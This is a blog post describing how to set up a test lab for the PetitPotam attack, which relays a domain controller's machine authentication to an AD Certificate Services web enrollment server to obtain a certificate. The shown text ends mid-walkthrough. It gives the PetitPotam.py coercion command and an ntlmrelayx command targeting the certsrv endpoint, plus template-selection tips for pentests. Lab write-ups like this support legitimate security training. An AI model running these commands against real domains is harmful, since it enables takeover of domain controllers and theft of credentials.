Setting Up A Petit Potam Lab
April 14, 2023
The PetitPotam vulnerability has been around for quite some time now, but there is frighteningly little information on how to set up this attack as a lab. There is a decent writeup on it over on DirkJanm’s page however his setup relies on using delegation to set up up a new machine to the domain. My idea of a good lab setup for PetitPotam is relaying the machine account of our vulnerable target to the ADCS server and creating a CSR for that machine account.
In order to set up this lab, we need an Active Directory domain consisting of one Domain Controller (the PetitPotam vulnerable machine) and an ADCS server with CA and Certificate Web Enrollment Services installed. This service is used in a domain to request SSL certificates for use on applications like web servers or remote management services. The Windows Server version I am running is 2016 without patches installed. The patch which fixed PetitPotam is KB500543, so as long as you dont have this update, the server should be vulnerable.
Once you have the Domain Controller setup and the ADCS server installed and setup with Certificate Web Enrollment Services, to see the certificates that have been generated, open Control Panel -> Administrative Tools -> Certificate Authority and click on Issued Certificates. You should see the machine account certificate for the Domain Controller.
Note: It is not neccessary to generate a certificate for the Domain Controller for this attack. I added this purely for informational purposes on setting up automatic enrollment.
If you need to generate a certificate, we can enroll the Domain Controller with Auto-Enroll. On your Domain Controller, open Local Group Policy Editor and open Windows Settings -> Security Settings and select Public Key Policies:
Right-click on Certificate Services Client - Auto-Enrollment and select Enabled from the drop down. Be sure to also check the two boxes for renewing and updating certificates:
Once you have the certificate generated, you should double check that the Web Service was created correctly, you can navigate to http://adcshostname.domain/certsrv (where adcshostname is the hostname of your ADCS server)and it should ask for authentication. Once you have verrified, you should be able to perform your attack. I typically use this along with impacket’s ntlmrelayx.
The format for the PetitPotam script is the following:
python3 PetitPotam.py attacker_ip domain_controller_ip
The format for ntlmrelayx to request the Certificate Signing Request:
ntlmrelayx -smb2support --target http://adcs_hostname.domain/certsrv/certfnsh.asp --adcs --template KerberosAuthentication
It should be noted that I have only successfully performed this attack using the hostname of the ADCS server, so be sure to use the Domain’s DNS server (usually the Domain Controller) on your attack machine. If we attempt this attack without a template, we get an error that we could not retrieve the certificate:
This is because we have certain certificate types allowed on the domain! (this hung me up for quite some time). We can see the certificate types enabled via the Certificate Authority tool found in the Tools dropdown of Server Manager and selecting Certificate Templates:
Knowing what type of certificates are allowed, we can use the Kerberos Authentication or Domain Controller template for our certificate. This may take some guesswork on a blind pentest, but is doable. If all is correct, your ntlmrelayx session should output a generated Certificate Signing Request from the ADCS server for your PetitPotam vulnerable Domain Controller:
